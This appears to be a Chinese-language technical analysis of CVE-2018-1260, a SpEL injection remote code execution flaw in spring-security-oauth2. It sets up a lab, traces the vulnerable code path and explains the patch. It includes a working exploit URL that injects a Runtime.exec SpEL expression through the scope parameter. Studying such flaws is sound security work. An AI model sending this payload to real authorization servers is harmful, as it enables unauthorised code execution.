作者:chybeta
來源:先知安全社區
漏洞公告

環境搭建
利用github上已有的demo:
git clone https://github.com/wanghongfei/spring-security-oauth2-example.git
確保導入的spring-security-oauth2為受影響版本,以這里為例為2.0.10

進入spring-security-oauth2-example,修改 cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java的第67行:
@Override
public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
clients.inMemory()
.withClient("client")
.authorizedGrantTypes("authorization_code")
.scopes();
}
根據spring-security-oauth2-example創建對應的數據庫等并修改AlanOAuthApplication中對應的mysql相關配置信息。
訪問:
http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D
會重定向到login頁面,隨意輸入username和password,點擊login,觸發payload。

漏洞分析
先簡要補充一下關于OAuth2.0的相關知識。

以上圖為例。當用戶使用客戶端時,客戶端要求授權,即圖中的AB。接著客戶端通過在B中獲得的授權向認證服務器申請令牌,即access token。最后在EF階段,客戶端帶著access token向資源服務器請求并獲得資源。
在獲得access token之前,客戶端需要獲得用戶的授權。根據標準,有四種授權方式:授權碼模式(authorization code)、簡化模式(implicit)、密碼模式(resource owner password credentials)、客戶端模式(client credentials)。在這幾種模式中,當客戶端將用戶導向認證服務器時,都可以帶上一個可選的參數scope,這個參數用于表示客戶端申請的權限的范圍。
根據官方文檔,在spring-security-oauth的默認配置中scope參數默認為空:
scope: The scope to which the client is limited. If scope is undefined or empty (the default) the client is not limited by scope.
為明白起見,我們在demo中將其清楚寫出:
clients.inMemory()
.withClient("client")
.authorizedGrantTypes("authorization_code")
.scopes();
接著開始正式分析。當我們訪問http://localhost:8080/oauth/authorize重定向至http://localhost:8080/login并完成login后程序流程到達
org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java,這里貼上部分代碼:
@RequestMapping(value = "/oauth/authorize")
public ModelAndView authorize(Map<String, Object> model, @RequestParam Map<String, String> parameters,
SessionStatus sessionStatus, Principal principal) {
// Pull out the authorization request first, using the OAuth2RequestFactory. All further logic should
// query off of the authorization request instead of referring back to the parameters map. The contents of the
// parameters map will be stored without change in the AuthorizationRequest object once it is created.
AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters);
try {
...
// We intentionally only validate the parameters requested by the client (ignoring any data that may have
// been added to the request by the manager).
oauth2RequestValidator.validateScope(authorizationRequest, client);
...
// Place auth request into the model so that it is stored in the session
// for approveOrDeny to use. That way we make sure that auth request comes from the session,
// so any auth request parameters passed to approveOrDeny will be ignored and retrieved from the session.
model.put("authorizationRequest", authorizationRequest);
return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);
}
...
第115行

在執行完AuthorizationRequest authorizationRequest = ...后,authorizationRequest代表了要認證的請求,其中包含了眾多參數

在經過了對一些參數的處理,比如RedirectUri等,之后到達第156行:
// We intentionally only validate the parameters requested by the client (ignoring any data that may have
// been added to the request by the manager).
oauth2RequestValidator.validateScope(authorizationRequest, client);
在這里將對scope參數進行驗證。跟入validateScope到org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:19
public class DefaultOAuth2RequestValidator implements OAuth2RequestValidator {
public void validateScope(AuthorizationRequest authorizationRequest, ClientDetails client) throws InvalidScopeException {
validateScope(authorizationRequest.getScope(), client.getScope());
}
...
}
繼續跟入validateScope,至 org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:28
private void validateScope(Set<String> requestScopes, Set<String> clientScopes) {
if (clientScopes != null && !clientScopes.isEmpty()) {
for (String scope : requestScopes) {
if (!clientScopes.contains(scope)) {
throw new InvalidScopeException("Invalid scope: " + scope, clientScopes);
}
}
}
if (requestScopes.isEmpty()) {
throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)");
}
}
首先檢查clientScopes,這個clientScopes即我們在前面configure中配置的.scopes();,倘若不為空,則進行白名單檢查。舉個例子,如果前面配置.scopes("chybeta");,則傳入requestScopes必須為chybeta,否則會直接拋出異常Invalid scope:xxx。但由于此處查clientScopes為空值,則接下來僅僅做了requestScopes.isEmpty()的檢查并且通過。
在完成了各項檢查和配置后,在authorize函數的最后執行:
return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);
回想一下前面OAuth2.0的流程,在客戶端請求授權(A),用戶登陸認證(B)后,將會進行用戶授權(C),這里即開始進行正式的授權階段。跟入getUserApprovalPageResponse 至org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java:241:

生成對應的model和view,之后將會forward到/oauth/confirm_access。為簡單起見,我省略中間過程,直接定位到org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java:20
public class WhitelabelApprovalEndpoint {
@RequestMapping("/oauth/confirm_access")
public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
String template = createTemplate(model, request);
if (request.getAttribute("_csrf") != null) {
model.put("_csrf", request.getAttribute("_csrf"));
}
return new ModelAndView(new SpelView(template), model);
}
...
}
跟入createTemplate,第29行:
protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
String template = TEMPLATE;
if (model.containsKey("scopes") || request.getAttribute("scopes") != null) {
template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
}
...
return template;
}
跟入createScopes,第46行:

這里獲取到了scopes,并且通過for循環生成對應的builder,其實就是html和一些標簽等,最后返回的即builder.toString(),其值如下:
<ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul>
createScopes結束后將會把上述builder.toString()拼接到template中。createTemplate結束后,在getAccessConfirmation的最后:
return new ModelAndView(new SpelView(template), model);
根據template生成對應的SpelView對象,這是其構造函數:

此后在頁面渲染的過程中,將會執行頁面中的Spel表達式${T(java.lang.Runtime).getRuntime().exec("calc.exe")}從而造成代碼執行。

所以綜上所述,這個任意代碼執行的利用條件實在“苛刻”:
1.需要scopes沒有配置白名單,否則直接Invalid scope:xxx。不過大部分OAuth都會限制授權的范圍,即指定scopes。
2.使用了默認的Approval Endpoint,生成對應的template,在spelview中注入spel表達式。不過可能絕大部分使用者都會重寫這部分來滿足自己的需求,從而導致spel注入不成功。
3.角色是授權服務器(例如@EnableAuthorizationServer)
補丁淺析
官方將SpelView去除,使用其他方法來生成對應的視圖

資料
- CVE-2018-1260: Remote Code Execution with spring-security-oauth2
- spring-security-oauth:Authorization Server Configuration
- 阮一峰:理解OAuth 2.0
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/597/
暫無評論